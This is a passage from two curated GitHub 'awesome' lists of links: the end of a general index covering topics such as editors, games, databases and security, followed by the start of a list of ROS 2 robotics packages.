data structures. ## Books - [Free Programming Books](https://github.com/EbookFoundation/free-programming-books#readme) - [Free Software Testing Books](https://github.com/ligurio/awesome-software-quality#readme) - [Go Books](https://github.com/dariubs/GoBooks#readme) - [R Books](https://github.com/RomanTsegelskyi/rbooks#readme) - [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books#readme) - [Book Authoring](https://github.com/TalAter/awesome-book-authoring#readme) - [Elixir Books](https://github.com/sger/ElixirBooks#readme) ## Editors - [Sublime Text](https://github.com/dreikanter/sublime-bookmarks#readme) - [Vim](https://github.com/mhinz/vim-galore#readme) - [Emacs](https://github.com/emacs-tw/awesome-emacs#readme) - [Atom](https://github.com/mehcode/awesome-atom#readme) - Open-source and hackable text editor. - [Visual Studio Code](https://github.com/viatsko/awesome-vscode#readme) - Cross-platform open-source text editor. ## Gaming - [Game Development](https://github.com/ellisonleao/magictools#readme) - [Game Networking](https://github.com/MFatihMAR/Awesome-Game-Networking#readme) - Network programming for multiplayer online games. - [Game Talks](https://github.com/hzoo/awesome-gametalks#readme) - [Godot](https://github.com/Calinou/awesome-godot#readme) - Game engine. - [Open Source Games](https://github.com/leereilly/games#readme) - [Unity](https://github.com/RyanNielson/awesome-unity#readme) - Game engine. - [Chess](https://github.com/hkirat/awesome-chess#readme) - [LÖVE](https://github.com/love2d-community/awesome-love2d#readme) - Game engine. - [PICO-8](https://github.com/pico-8/awesome-PICO-8#readme) - Fantasy console. - [Game Boy Development](https://github.com/gbdev/awesome-gbdev#readme) - [Construct 2](https://github.com/WebCreationClub/awesome-construct#readme) - Game engine. - [Gideros](https://github.com/stetso/awesome-gideros#readme) - Game engine. - [Minecraft](https://github.com/bs-community/awesome-minecraft#readme) - Sandbox video game. - [Game Datasets](https://github.com/leomaurodesenv/game-datasets#readme) - Materials and datasets for Artificial Intelligence in games. - [Haxe Game Development](https://github.com/Dvergar/awesome-haxe-gamedev#readme) - A high-level strongly typed programming language used to produce cross-platform native code. - [libGDX](https://github.com/rafaskb/awesome-libgdx#readme) - Java game framework. ## Development Environment - [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins#readme) - For macOS. - [Dev Env](https://github.com/jondot/awesome-devenv#readme) - [Dotfiles](https://github.com/webpro/awesome-dotfiles#readme) - [Shell](https://github.com/alebcay/awesome-shell#readme) - [Fish](https://github.com/jorgebucaran/awesome-fish#readme) - User-friendly shell. - [Command-Line Apps](https://github.com/agarrharr/awesome-cli-apps#readme) - [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins#readme) - [GitHub](https://github.com/phillipadsmith/awesome-github#readme) - Hosting service for Git repositories. - [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github#readme) - [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet#readme) - [Pinned Gists](https://github.com/matchai/awesome-pinned-gists#readme) - Dynamic pinned gists for your GitHub profile. - [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet#readme) - [Git Tips](https://github.com/git-tips/tips#readme) - [Git Add-ons](https://github.com/stevemao/awesome-git-addons#readme) - Enhance the `git` CLI. - [Git Hooks](https://github.com/compscilauren/awesome-git-hooks#readme) - Scripts for automating tasks during `git` workflows. - [SSH](https://github.com/moul/awesome-ssh#readme) - [FOSS for Developers](https://github.com/tvvocold/FOSS-for-Dev#readme) - [Hyper](https://github.com/bnb/awesome-hyper#readme) - Cross-platform terminal app built on web technologies. - [PowerShell](https://github.com/janikvonrotz/awesome-powershell#readme) - Cross-platform object-oriented shell. - [Alfred Workflows](https://github.com/derimagia/awesome-alfred-workflows#readme) - Productivity app for macOS. - [Terminals Are Sexy](https://github.com/k4m4/terminals-are-sexy#readme) ## Entertainment - [Science Fiction](https://github.com/sindresorhus/awesome-scifi#readme) - Scifi. - [Fantasy](https://github.com/RichardLitt/awesome-fantasy#readme) - [Podcasts](https://github.com/ayr-ton/awesome-geek-podcasts#readme) - [Email Newsletters](https://github.com/zudochkin/awesome-newsletters#readme) - [IT Quotes](https://github.com/victorlaerte/awesome-it-quotes#readme) ## Databases - [Database](https://github.com/numetriclabz/awesome-db#readme) - [MySQL](https://github.com/shlomi-noach/awesome-mysql#readme) - [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy#readme) - [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb#readme) - [Neo4j](https://github.com/neueda/awesome-neo4j#readme) - [MongoDB](https://github.com/ramnes/awesome-mongodb#readme) - NoSQL database. - [RethinkDB](https://github.com/d3viant0ne/awesome-rethinkdb#readme) - [TinkerPop](https://github.com/mohataher/awesome-tinkerpop#readme) - Graph computing framework. - [PostgreSQL](https://github.com/dhamaniasad/awesome-postgres#readme) - Object-relational database. - [CouchDB](https://github.com/quangv/awesome-couchdb#readme) - Document-oriented NoSQL database. - [HBase](https://github.com/rayokota/awesome-hbase#readme) - Distributed, scalable, big data store. - [NoSQL Guides](https://github.com/erictleung/awesome-nosql-guides#readme) - Help on using non-relational, distributed, open-source, and horizontally scalable databases. ## Media - [Creative Commons Media](https://github.com/shime/creative-commons-media#readme) - [Fonts](https://github.com/brabadu/awesome-fonts#readme) - [Codeface](https://github.com/chrissimpkins/codeface#readme) - Text editor fonts. - [Stock Resources](https://github.com/neutraltone/awesome-stock-resources#readme) - [GIF](https://github.com/davisonio/awesome-gif#readme) - Image format known for animated images. - [Music](https://github.com/ciconia/awesome-music#readme) - [Open Source Documents](https://github.com/hubtee/awesome-opensource-documents#readme) - [Audio Visualization](https://github.com/willianjusten/awesome-audio-visualization#readme) - [Broadcasting](https://github.com/ebu/awesome-broadcasting#readme) - [Pixel Art](https://github.com/Siilwyn/awesome-pixel-art#readme) - Pixel-level digital art. - [FFmpeg](https://github.com/transitive-bullshit/awesome-ffmpeg#readme) - Cross-platform solution to record, convert and stream audio and video. - [Icons](https://github.com/notlmn/awesome-icons#readme) - Downloadable SVG/PNG/font icon projects. ## Learn - [CLI Workshoppers](https://github.com/therebelrobot/awesome-workshopper#readme) - Interactive tutorials. - [Learn to Program](https://github.com/karlhorky/learn-to-program#readme) - [Speaking](https://github.com/matteofigus/awesome-speaking#readme) - [Tech Videos](https://github.com/lucasviola/awesome-tech-videos#readme) - [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning#readme) - [Computer History](https://github.com/watson/awesome-computer-history#readme) - [Programming for Kids](https://github.com/HollyAdele/awesome-programming-for-kids#readme) - [Educational Games](https://github.com/yrgo/awesome-eg#readme) - Learn while playing. - [JavaScript Learning](https://github.com/micromata/awesome-javascript-learning#readme) - [CSS Learning](https://github.com/micromata/awesome-css-learning#readme) - Mainly about CSS – the language and the modules. - [Product Management](https://github.com/dend/awesome-product-management#readme) - Learn how to be a better product manager. - [Roadmaps](https://github.com/liuchong/awesome-roadmaps#readme) - Gives you a clear route to improve your knowledge and skills. - [Hacker Laws](https://github.com/dwmkerr/hacker-laws) - Laws, theories, principles and patterns that developers and techies useful and come across in the industry. ## Security - [Application Security](https://github.com/paragonie/awesome-appsec#readme) - [Security](https://github.com/sbilly/awesome-security#readme) - [CTF](https://github.com/apsdehal/awesome-ctf#readme) - Capture The Flag. - [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis#readme) - [Android Security](https://github.com/ashishb/android-security-awesome#readme) - [Hacking](https://github.com/carpedm20/awesome-hacking#readme) - [Honeypots](https://github.com/paralax/awesome-honeypots#readme) - Deception trap, designed to entice an attacker into attempting to compromise the information systems in an organization. - [Incident Response](https://github.com/meirwah/awesome-incident-response#readme) - [Vehicle Security and Car Hacking](https://github.com/jaredthecoder/awesome-vehicle-security#readme) - [Web Security](https://github.com/qazbnm456/awesome-web-security#readme) - Security of web apps & services. - [Lockpicking](https://github.com/meitar/awesome-lockpicking#readme) - The art of unlocking a lock by manipulating its components without the key. - [Cybersecurity Blue Team](https://github.com/meitar/awesome-cybersecurity-blueteam#readme) - Groups of individuals who identify security flaws in information technology systems. - [Fuzzing](https://github.com/cpuu/awesome-fuzzing#readme) - Automated software testing technique that involves feeding pseudo-randomly generated input data. - [Embedded and IoT Security](https://github.com/fkie-cad/awesome-embedded-and-iot-security#readme) - [GDPR](https://github.com/bakke92/awesome-gdpr#readme) - Regulation on data protection and privacy for all individuals within EU. ## Content Management Systems - [Umbraco](https://github.com/umbraco-community/awesome-umbraco#readme) - [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms#readme) - Ruby on Rails CMS. - [Wagtail](https://github.com/springload/awesome-wagtail#readme) - Django CMS focused on flexibility and user experience. - [Textpattern](https://github.com/drmonkeyninja/awesome-textpattern#readme) - Lightweight PHP-based CMS. - [Drupal](https://github.com/nirgn975/awesome-drupal#readme) - Extensible PHP-based CMS. - [Craft CMS](https://github.com/craftcms/awesome#readme) - Content-first CMS. ## Hardware - [Robotics](https://github.com/Kiloreux/awesome-robotics#readme) - [Internet of Things](https://github.com/HQarroum/awesome-iot#readme) - [Electronics](https://github.com/kitspace/awesome-electronics#readme) - For electronic engineers and hobbyists. - [Bluetooth Beacons](https://github.com/squaremetrics/awesome-beacon#readme) - [Electric Guitar Specifications](https://github.com/gitfrage/guitarspecs#readme) - Checklist for building your own electric guitar. ## Business - [Open Companies](https://github.com/opencompany/awesome-open-company#readme) - [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup#readme) - [OKR Methodology](https://github.com/domenicosolazzo/awesome-okr#readme) - Goal setting & communication best practices. - [Leading and Managing](https://github.com/LappleApple/awesome-leading-and-managing#readme) - Leading people and being a manager in a technology company/environment. - [Indie](https://github.com/mezod/awesome-indie#readme) - Independent developer businesses. - [Tools of the Trade](https://github.com/cjbarber/ToolsOfTheTrade#readme) - Tools used by companies on Hacker News. - [Clean Tech](https://github.com/nglgzz/awesome-clean-tech#readme) - Fighting climate change with technology. ## Work - [Slack](https://github.com/matiassingers/awesome-slack#readme) - Team collaboration. - [Communities](https://github.com/filipelinhares/awesome-slack#readme) - [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job#readme) - [Productivity](https://github.com/jyguyomarch/awesome-productivity#readme) - [Niche Job Boards](https://github.com/tramcar/awesome-job-boards#readme) - [Programming Interviews](https://github.com/MaximAbramchuck/awesome-interview-questions#readme) - [Code Review](https://github.com/joho/awesome-code-review#readme) - Reviewing code. ## Networking - [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn#readme) - [Network Analysis](https://github.com/briatte/awesome-network-analysis#readme) - [PCAPTools](https://github.com/caesar0301/awesome-pcaptools#readme) ## Decentralized Systems - [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin#readme) - Bitcoin services and tools for software developers. - [Ripple](https://github.com/vhpoet/awesome-ripple#readme) - Open source distributed settlement network. - [Non-Financial Blockchain](https://github.com/machinomy/awesome-non-financial-blockchain#readme) - Non-financial blockchain applications. - [Mastodon](https://github.com/tleb/awesome-mastodon#readme) - Open source decentralized microblogging network. - [Ethereum](https://github.com/Tom2718/Awesome-Ethereum#readme) - Distributed computing platform for smart contract development. - [Blockchain AI](https://github.com/steven2358/awesome-blockchain-ai#readme) - Blockchain projects for artificial intelligence and machine learning. - [EOSIO](https://github.com/DanailMinchev/awesome-eosio#readme) - A decentralized operating system supporting industrial-scale apps. ## Higher Education - [Computational Neuroscience](https://github.com/eselkin/awesome-computational-neuroscience#readme) - A multidisciplinary science which uses computational approaches to study the nervous system. ## Miscellaneous - [JSON](https://github.com/burningtree/awesome-json#readme) - Text based data interchange format. - [GeoJSON](https://github.com/tmcw/awesome-geojson#readme) - [Datasets](https://github.com/jdorfman/awesome-json-datasets#readme) - [CSV](https://github.com/secretGeek/awesomeCSV#readme) - A text file format that stores tabular data and uses a comma to separate values. - [Discounts for Student Developers](https://github.com/AchoArnold/discount-for-student-dev#readme) - [Sysadmin](https://github.com/n1trux/awesome-sysadmin#readme) - [Radio](https://github.com/kyleterry/awesome-radio#readme) - [Awesome](https://github.com/sindresorhus/awesome#readme) - Recursion illustrated. - [Analytics](https://github.com/onurakpolat/awesome-analytics#readme) - [REST](https://github.com/marmelab/awesome-rest#readme) - [Selenium](https://github.com/christian-bromann/awesome-selenium#readme) - [Appium](https://github.com/SrinivasanTarget/awesome-appium#readme) - Test automation tool for apps. - [Continuous Integration and Continuous Delivery](https://github.com/ciandcd/awesome-ciandcd#readme) - [Services Engineering](https://github.com/mmcgrana/services-engineering#readme) - [Free for Developers](https://github.com/ripienaar/free-for-dev#readme) - [Answers](https://github.com/cyberglot/awesome-answers#readme) - Stack Overflow, Quora, etc. - [Sketch](https://github.com/diessica/awesome-sketch#readme) - Design app for macOS. - [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates#readme) - [Readme](https://github.com/matiassingers/awesome-readme#readme) - [Design and Development Guides](https://github.com/NARKOZ/guides#readme) - [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs#readme) - [Self Hosted](https://github.com/Kickball/awesome-selfhosted#readme) - [FOSS Production Apps](https://github.com/DataDaoDe/awesome-foss-apps#readme) - [Gulp](https://github.com/alferov/awesome-gulp#readme) - Task runner. - [AMA](https://github.com/sindresorhus/amas#readme) - Ask Me Anything. - [Answers](https://github.com/stoeffel/awesome-ama-answers#readme) - [Open Source Photography](https://github.com/ibaaj/awesome-OpenSourcePhotography#readme) - [OpenGL](https://github.com/eug/awesome-opengl#readme) - Cross-platform API for rendering 2D and 3D graphics. - [GraphQL](https://github.com/chentsulin/awesome-graphql#readme) - [Transit](https://github.com/CUTR-at-USF/awesome-transit#readme) - [Research Tools](https://github.com/emptymalei/awesome-research#readme) - [Data Visualization](https://github.com/fasouto/awesome-dataviz#readme) - [Social Media Share Links](https://github.com/vinkla/shareable-links#readme) - [Microservices](https://github.com/mfornos/awesome-microservices#readme) - [Unicode](https://github.com/Wisdom/Awesome-Unicode#readme) - Unicode standards, quirks, packages and resources. - [Code Points](https://github.com/Codepoints/awesome-codepoints#readme) - [Beginner-Friendly Projects](https://github.com/MunGell/awesome-for-beginners#readme) - [Katas](https://github.com/gamontal/awesome-katas#readme) - [Tools for Activism](https://github.com/drewrwilson/toolsforactivism#readme) - [Citizen Science](https://github.com/dylanrees/citizen-science#readme) - For community-based and non-institutional scientists. - [TAP](https://github.com/sindresorhus/awesome-tap#readme) - Test Anything Protocol. - [MQTT](https://github.com/hobbyquaker/awesome-mqtt#readme) - "Internet of Things" connectivity protocol. - [Hacking Spots](https://github.com/daviddias/awesome-hacking-locations#readme) - [For Girls](https://github.com/cristianoliveira/awesome4girls#readme) - [Vorpal](https://github.com/vorpaljs/awesome-vorpal#readme) - Node.js CLI framework. - [Vulkan](https://github.com/vinjn/awesome-vulkan#readme) - Low-overhead, cross-platform 3D graphics and compute API. - [LaTeX](https://github.com/egeerardyn/awesome-LaTeX#readme) - Typesetting language. - [Economics](https://github.com/antontarasenko/awesome-economics#readme) - An economist's starter kit. - [Funny Markov Chains](https://github.com/sublimino/awesome-funny-markov#readme) - [Bioinformatics](https://github.com/danielecook/Awesome-Bioinformatics#readme) - [Cheminformatics](https://github.com/hsiaoyi0504/awesome-cheminformatics#readme) - Informatics techniques applied to problems in chemistry. - [Colorful](https://github.com/Siddharth11/Colorful#readme) - Choose your next color scheme. - [Steam](https://github.com/scholtzm/awesome-steam#readme) - Digital distribution platform. - [Bots](https://github.com/hackerkid/bots#readme) - Building bots. - [Site Reliability Engineering](https://github.com/dastergon/awesome-sre#readme) - [Empathy in Engineering](https://github.com/KimberlyMunoz/empathy-in-engineering#readme) - Building and promoting more compassionate engineering cultures. - [DTrace](https://github.com/xen0l/awesome-dtrace#readme) - Dynamic tracing framework. - [Userscripts](https://github.com/brunocvcunha/awesome-userscripts#readme) - Enhance your browsing experience. - [Pokémon](https://github.com/tobiasbueschel/awesome-pokemon#readme) - Pokémon and Pokémon GO. - [ChatOps](https://github.com/exAspArk/awesome-chatops#readme) - Managing technical and business operations through a chat. - [Falsehood](https://github.com/kdeldycke/awesome-falsehood#readme) - Falsehoods programmers believe in. - [Domain-Driven Design](https://github.com/heynickc/awesome-ddd#readme) - Software development approach for complex needs by connecting the implementation to an evolving model. - [Quantified Self](https://github.com/woop/awesome-quantified-self#readme) - Self-tracking through technology. - [SaltStack](https://github.com/hbokh/awesome-saltstack#readme) - Python-based config management system. - [Web Design](https://github.com/nicolesaidy/awesome-web-design#readme) - For digital designers. - [JMeter](https://github.com/aliesbelik/awesome-jmeter#readme) - Load testing and performance measurement tool. - [Creative Coding](https://github.com/terkelg/awesome-creative-coding#readme) - Programming something expressive instead of something functional. - [No-Login Web Apps](https://github.com/aviaryan/awesome-no-login-web-apps#readme) - Web apps that work without login. - [Testing](https://github.com/TheJambo/awesome-testing#readme) - Software testing. - [Free Software](https://github.com/johnjago/awesome-free-software#readme) - Free as in freedom. - [Framer](https://github.com/podo/awesome-framer#readme) - Prototyping interactive UI designs. - [Markdown](https://github.com/BubuAnabelas/awesome-markdown#readme) - Markup language. - [Dev Fun](https://github.com/mislavcimpersak/awesome-dev-fun#readme) - Funny developer projects. - [Events in the Netherlands](https://github.com/awkward/awesome-netherlands-events#readme) - Tech-related events in the Netherlands. - [Healthcare](https://github.com/kakoni/awesome-healthcare#readme) - Open source healthcare software for facilities, providers, developers, policy experts, and researchers. - [Magento 2](https://github.com/DavidLambauer/awesome-magento2#readme) - Open Source eCommerce built with PHP. - [TikZ](https://github.com/xiaohanyu/awesome-tikz#readme) - Graph drawing packages for TeX/LaTeX/ConTeXt. - [Neuroscience](https://github.com/analyticalmonk/awesome-neuroscience#readme) - Study of the nervous system and brain. - [Ad-Free](https://github.com/johnjago/awesome-ad-free#readme) - Ad-free alternatives. - [Esolangs](https://github.com/angrykoala/awesome-esolangs#readme) - Programming languages designed for experimentation or as jokes rather than actual use. - [Prometheus](https://github.com/roaldnefs/awesome-prometheus#readme) - Open-source monitoring system. - [Homematic](https://github.com/hobbyquaker/awesome-homematic#readme) - Smart home devices. - [Ledger](https://github.com/sfischer13/awesome-ledger#readme) - Double-entry accounting on the command-line. - [Uncopyright](https://github.com/johnjago/awesome-uncopyright#readme) - Public domain works. - [Crypto Currency Tools & Algorithms](https://github.com/Zheaoli/awesome-coins#readme) - Digital currency where encryption is used to regulate the generation of units and verify transfers. - [Diversity](https://github.com/folkswhocode/awesome-diversity#readme) - Creating a more inclusive and diverse tech community. - [Open Source Supporters](https://github.com/zachflower/awesome-open-source-supporters#readme) - Companies that offer their tools and services for free to open source projects. - [Design Principles](https://github.com/robinstickel/awesome-design-principles#readme) - Create better and more consistent designs and experiences. - [Visual Regression Testing](https://github.com/mojoaxel/awesome-regression-testing#readme) - Ensures changes did not break the functionality or style. - [Theravada](https://github.com/johnjago/awesome-theravada#readme) - Teachings from the Theravada Buddhist tradition. - [inspectIT](https://github.com/inspectit-labs/awesome-inspectit#readme) - Open source Java app performance management tool. - [Open Source Maintainers](https://github.com/nayafia/awesome-maintainers#readme) - The experience of being an open source maintainer. - [Calculators](https://github.com/xxczaki/awesome-calculators#readme) - Calculators for every platform. - [Captcha](https://github.com/ZYSzys/awesome-captcha#readme) - A type of challenge–response test used in computing to determine whether or not the user is human. - [Jupyter](https://github.com/markusschanta/awesome-jupyter#readme) - Create and share documents that contain code, equations, visualizations and narrative text. - [FIRST Robotics Competition](https://github.com/andrewda/awesome-frc#readme) - International high school robotics championship. - [Humane Technology](https://github.com/humanetech-community/awesome-humane-tech#readme) - Open source projects that help improve society. - [Speakers](https://github.com/karlhorky/awesome-speakers#readme) - Conference and meetup speakers in the programming and design community. - [Board Games](https://github.com/edm00se/awesome-board-games#readme) - Table-top gaming fun for all. - [Software Patreons](https://github.com/uraimo/awesome-software-patreons#readme) - Fund individual programmers or the development of open source projects. - [Parasite](https://github.com/ecohealthalliance/awesome-parasite#readme) - Parasites and host-pathogen interactions. - [Food](https://github.com/jzarca01/awesome-food#readme) - Food-related projects on GitHub. - [Mental Health](https://github.com/dreamingechoes/awesome-mental-health#readme) - Mental health awareness and self-care in the software industry. - [Bitcoin Payment Processors](https://github.com/alexk111/awesome-bitcoin-payment-processors#readme) - Start accepting Bitcoin. - [Scientific Computing](https://github.com/nschloe/awesome-scientific-computing#readme) - Solving complex scientific problems using computers. - [Amazon Sellers](https://github.com/ScaleLeap/awesome-amazon-seller#readme) - [Agriculture](https://github.com/beaorn/awesome-agriculture#readme) - Open source technology for farming and gardening. - [Plotters](https://github.com/beardicus/awesome-plotters#readme) - Computer-controlled drawing machines and other visual art robots. - [Product Design](https://github.com/teoga/awesome-product-design#readme) - Design a product from the initial concept to production. - [Prisma](https://github.com/catalinmiron/awesome-prisma#readme) - Turn your database into a GraphQL API. - [Software Architecture](https://github.com/simskij/awesome-software-architecture#readme) - The discipline of designing and building software. - [Connectivity Data and Reports](https://github.com/stevesong/awesome-connectivity-info#readme) - Better understand who has access to telecommunication and internet infrastructure and on what terms. - [Stacks](https://github.com/stackshareio/awesome-stacks#readme) - Tech stacks for building different apps and features. - [Cytodata](https://github.com/cytodata/awesome-cytodata#readme) - Image-based profiling of biological phenotypes for computational biologists. - [IRC](https://github.com/davisonio/awesome-irc#readme) - Open source messaging protocol. - [Advertising](https://github.com/cenoura/awesome-ads#readme) - Advertising and programmatic media for websites. ## Related - [Awesome Indexed](https://awesome-indexed.mathew-davies.co.uk) - Search the Awesome dataset. - [Awesome Search](https://awesomelists.top) - Quick search for Awesome lists. ## License [](https://creativecommons.org/publicdomain/zero/1.0/) To the extent possible under law, [Sindre Sorhus](https://sindresorhus.com) has waived all copyright and related or neighboring rights to this work.

# Awesome Robot Operating System 2 (ROS 2) [](https://awesome.re) [<img src="https://raw.githubusercontent.com/fkromer/awesome-ros2/master/ros_logo.svg?sanitize=true" align="right" width="86">](https://github.com/ros2/ros2/wiki) > A curated list of awesome Robot Operating System Version 2.0 (ROS 2) resources and libraries. The Robot Operating System 2 (ROS 2) is a set of software libraries and tools that help you build robot applications. From drivers to state-of-the-art algorithms, and with powerful developer tools, ROS 2 has what you need for your next robotics project. And it’s all open source. ## Contents - [Packages](#packages) - [Forks](#forks) - [Operating systems](#operating-systems) - [Packaging](#packaging) - [Documentation](#documentation) - [Community](#community) - [Books](#books) - [Courses](#courses) - [Presentations](#presentations) - [Papers](#papers) - [Podcasts](#podcasts) - [Services](#services) - [Companies](#companies) - [Organizations](#organizations) - [Working groups](#working-groups) ## Packages ### Data collection - [ros2_data_collection](https://github.com/Minipada/ros2_data_collection) - Collect, validate and send data reliably from ROS 2 to create APIs and dashboards.  ### Demonstrations - [adlink_ddsbot](https://github.com/Adlink-ROS/adlink_ddsbot) - The ROS 2.0/1.0 based robots swarm architecture (opensplice DDS).  - [adlink_neuronbot](https://github.com/Adlink-ROS/adlink_neuronbot) - ROS2/DDS robot pkg for human following and swarm.  - [turtlebot3](https://github.com/ROBOTIS-GIT/turtlebot3/tree/ros2) - ROS2 based TurtleBot3 demo including Bringup, Teleop and Cartographer.  ### Examples - [turtlebot2_demo](https://github.com/ros2/turtlebot2_demo) - TurtleBot 2 demos using ROS 2.  - [examples/rclcpp](https://github.com/ros2/examples/tree/master/rclcpp) - C++ examples.  - [examples/rclpy](https://github.com/ros2/examples/tree/master/rclpy) - Python examples.  - [rcljava_examples](https://github.com/esteve/ros2_java_examples/tree/master/rcljava_examples) - Package containing examples of how to use the rcljava API.  - [ros2_talker_android, ros2_listener_android](https://github.com/esteve/ros2_android_examples) - Example Android apps for the ROS2 Java bindings.  - [zed-ros2-examples](https://github.com/stereolabs/zed-ros2-examples) - Examples and tutorials use the ZED cameras in the ROS2.  - [realsense-ros:ros2-branch](https://github.com/IntelRealSense/realsense-ros/tree/ros2) - ROS2 Wrapper for Intel® RealSense™ Devices  ### Benchmarking - [ros2_benchmarking](https://github.com/piappl/ros2_benchmarking) - Framework for ROS2 benchmarking. ROS2 communication characteristics can be evaluated on several axes, quickly and in an automated way.  - [performance_test](https://github.com/ApexAI/performance_test) - Test performance and latency of various communication means like ROS 2, FastRTPS and Connext DDS Micro.  ### Containerization - [docker-ros2-ospl-ce](https://github.com/Adlink-ROS/docker-ros2-ospl-ce) - A dockerfile to build a ROS2 + OpenSplice CE container.  - [ros2_java_docker](https://github.com/esteve/ros2_java_docker) - Dockerfiles for building ros2_java with OpenJDK and Android.  - [micro-ROS/docker](https://github.com/micro-ROS/docker) - Docker-related material to setup, configure and develop with micro-ROS hardware. - [ros-tooling/cross_compile](https://github.com/ros-tooling/cross_compile) - Cross compile ROS and ROS 2 workspaces to non-native architectures and generate corresponding Docker images. - [ros2-docker](https://husarnet.com/blog/ros2-docker) - Connecting ROS 2 nodes running in Docker containers over the internet. - [osrf/docker_images](https://github.com/osrf/docker_images) - Dockerfiles of [Official Library on Docker Hub](https://hub.docker.com/_/ros) and [OSRF Organization on Docker Hub](https://hub.docker.com/r/osrf/ros).  - [docker-ros2-desktop-vnc](https://github.com/Tiryoh/docker-ros2-desktop-vnc) - Dockerfiles to provide HTML5 VNC interface to access Ubuntu LXDE + ROS2.  - [ros2-lxd](https://ubuntu.com/blog/install-ros-2-humble-in-ubuntu-20-04-or-18-04-using-lxd-containers) - Install ROS 2 Humble in Ubuntu 20.04 or 18.04 using LXD containers. ### Networking - [Husarnet VPN](https://github.com/husarnet/husarnet) - A P2P, secure network layer dedicated for ROS & ROS 2.  ### Ecosystem - [Link ROS](https://www.freedomrobotics.ai/blog/link-ros-cloud-logging-for-ros) - Cloud Logging for ROS 1 and ROS 2. - [rosbag2](https://github.com/ros2/rosbag2) - ROS2 native rosbag.  - [rviz](https://github.com/ros2/rviz) - 3D Robot Visualizer.  - [urdfdom](https://github.com/ros/urdfdom) - URDF (U-Robot Description Format) library which provides core data structures and a simple XML parser  - [urdfdom_headers](https://github.com/ros/urdfdom_headers) - Headers for URDF parsers.  - [ros2cli](https://github.com/ros2/ros2cli) - ROS 2 command line tools.  - [orocos_kinematics_dynamics](https://github.com/ros2/orocos_kinematics_dynamics) - Orocos Kinematics and Dynamics C++ library.  - [pydds](https://github.com/atolab/pydds) - Simple DDS Python API for Vortex Lite and for OpenSplice.  - [Webots](https://cyberbotics.com) - Robot simulator for ROS 2.  - [LGSVL](https://www.lgsvlsimulator.com/) - Simulation software to accelerate safe autonomous vehicle development. - [Unity Robotics Hub](https://github.com/Unity-Technologies/Unity-Robotics-Hub) - This is a central repository for tools, tutorials, resources, and documentation for robotic simulation in Unity. - [Foxglove Studio](https://github.com/foxglove/studio) - Integrated visualization and diagnosis tool for robotics.  - [ROS2 For Unity](https://github.com/RobotecAI/ros2-for-unity) - An asset package which enables high-performance communication between Unity3D simulations and ROS2 ecosystem.  ### Interactivity - [Jupyter ROS2](https://github.com/zmk5/jupyter-ros2) - Jupyter widget helpers for ROS2. ### Penetration testing - [aztarna](https://github.com/aliasrobotics/aztarna) - A footprinting tool for robots. - [ros2_fuzzer](https://github.com/aliasrobotics/ros2_fuzzer) - ROS2 Topic & Service Fuzzer. ### Application layer - [Apex.Autonomy](https://www.apex.ai/apex-autonomy) - Apex.Autonomy provides autonomy algorithms as individual building blocks and is compatible with Autoware.Auto. - [Autoware.Auto](https://www.autoware.auto/) - Autoware.Auto provides an open-source software stack based on ROS 2 for self-driving technology. - [ros2_control](https://github.com/ros-controls/ros2_control) - `ros2_control` is a proof of concept on how new features within ROS 2 can be elaborated and used in the context of robot control (`ros2_controllers`).  - [ros2_controllers](https://github.com/ros-controls/ros2_controllers) - Description of ros_controllers.  - [geometry2](https://github.com/ros2/geometry2) - A set of ROS packages for keeping track of coordinate transforms.  - [ros2-ORB_SLAM2](https://github.com/alsora/ros2-ORB_SLAM2) - ROS2 node wrapping the ORB_SLAM2 library.  - [basalt_ros2](https://github.com/berndpfrommer/basalt_ros2) - ROS2 wrapper for Basalt VIO.  - [cartographer](https://github.com/ros2/cartographer) - Real-time simultaneous localization and mapping (SLAM) in 2D and 3D across multiple platforms and sensor configurations.  - [slam_gmapping](https://github.com/Project-MANAS/slam_gmapping) - Slam Gmapping for ROS2.  - [slam_toolbox](https://github.com/SteveMacenski/slam_toolbox) - Slam Toolbox for lifelong mapping and localization in potentially massive maps with ROS.  - [lidarslam_ros2](https://github.com/rsasaki0109/lidarslam_ros2) - ROS2 package of 3D lidar slam using ndt/gicp registration and pose-optimization.  - [li_slam_ros2](https://github.com/rsasaki0109/li_slam_ros2) - ROS2 package of tightly-coupled lidar inertial ndt/gicp slam referenced from LIO-SAM.  - [octomap_server2](https://github.com/iKrishneel/octomap_server2) - ROS2 stack for mapping with OctoMap. Port of the ROS1 [octomap_mapping](https://github.com/OctoMap/octomap_mapping) package.  - [vision_opencv](https://github.com/ros-perception/vision_opencv/tree/ros2) - Packages for interfacing ROS2 with OpenCV.  - [teleop_twist_keyboard](https://github.com/ros2/teleop_twist_keyboard) - Generic Keyboard Teleop for ROS2.  - [teleop_twist_joy](https://github.com/ros2/teleop_twist_joy) - Simple joystick teleop for twist robots.  - [navigation](https://github.com/ros-planning/navigation2/) - ROS2 Navigation stack.  - [diagnostics](https://github.com/bponsler/diagnostics/tree/ros2-devel) - Forked version of the original ROS1 Diagnostics for ROS 2 (currently diagnostics_updater only).  - [robot_state_publisher](https://github.com/bponsler/robot_state_publisher/tree/publish-robot-model) - Forked version of the original ROS Robot State Publisher with all modifications to compile within a ROS2 Ecosystem.  - [common_interfaces](https://github.com/ros2/common_interfaces) - A set of packages which contain common interface files (.msg and .srv).  - [ros2_object_map](https://github.com/intel/ros2_object_map) - "Mark tag of objects on map when SLAM".  - [ros2_object_analytics](https://github.com/intel/ros2_object_analytics) - Object Analytics (OA) is ROS2 wrapper for realtime object detection, localization and tracking.  - [ros2_intel_movidius_ncs](https://github.com/intel/ros2_intel_movidius_ncs) - ROS2 wrapper for Movidius™ Neural Compute Stick (NCS) Neuronal 